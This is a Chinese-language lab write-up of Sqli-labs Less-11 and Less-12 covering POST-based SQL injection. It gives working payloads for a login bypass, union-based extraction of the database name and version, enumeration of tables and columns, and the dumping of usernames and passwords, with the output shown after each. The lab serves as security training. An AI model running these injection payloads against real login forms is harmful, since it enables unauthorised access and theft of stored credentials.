Sqli-labs 实验笔记之Less-11&Less-12

零、前言

盲注告一段落,后面主要介绍的是POST注入,我们先说一下POST数据的提交方式,然后再说一下注入的方法。但实际上POST与GET注入的本质并无区别,毕竟注入是对数据库的攻击,与前端用什么方式提交语句无关。

一、POST表单提交

之前我们所接触的表单提交方式都是Get,它都是显示的传参,其参数会在URL上显示。适合根据关键字的查询的操作。POST传参是一种隐式的传参,它的参数放在请求头中,可传输大量的数据,并且这种方式更为安全。这种用户名和密码的登陆框是最常见的一种post提交表单。

我们查看一下源码

method="post"正式post表单提交的标志。我们抓下包

可以看到post数据被放到请求的信息头中。

二、Less-11注入测试

1、判断后台SQL语句

随意输入 Username=123  Password=123

登录失败,我们尝试使用系统存在的用户名和密码登陆,例如Dumb,Dumb

看来只有用户名密码都对了才能登陆成功(废话)。接下来我们要进行测试了,我们的测试语句不能再写在URL上了,因为是Post传参,所以直接写到登陆框里,例如常规的单引号测试

成功报错,小小的登陆框不方便编辑,我们打开hackbar,同样支持post数据编辑。

接下来我们猜测下它后台Sql语句

Select username,password from table where username=’inputname’and password=’inputpass’

2、构造Sql语句进行注入攻击

可以用如下语句进行登陆绕过:

uname=123' or 1=1 -- &passwd=123&submit=submit

uname=123'  union select database(),version()# &passwd=123&submit=submit

Your Login name:security
Your Password:5.5.40

uname=123'  union select 1,group_concat(table_name) from information_schema.tables 
where table_schema=database()# &passwd=123&submit=submit

Your Login name:1
Your Password:emails,referers,uagents,users

uname=123'  union select 1,group_concat(column_name) from information_schema.columns 
where table_name='user'# &passwd=123&submit=submit

Your Login name:1
Your Password:id,username,password

uname=123'  union select username,password from users limit 0,1# &passwd=123&submit=submit

Your Login name:Dumb
Your Password:Dumb

三、Less-12注入测试

Less12去Less11课程几乎相似,只是后台sql语句有了新的变化(如同我们之前学习Get注入一样)。通过在username的位置报错可以显示

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"123"") and password=("") LIMIT 0,1' at line 1

猜测其后台Sql语句为

Select username,password from table where username=(“username”) and password=(“password”)

然后就可以构造注入语句了

登陆绕过:

uname=123") or 1=1 #&passwd=&submit=submit

Sql注入:

uname=123") union select version(),database() #&passwd=&submit=submit

Your Login name:5.5.40
Your Password:security

其过程与上节课类似,不再累赘!

发表评论

电子邮件地址不会被公开。 必填项已用*标注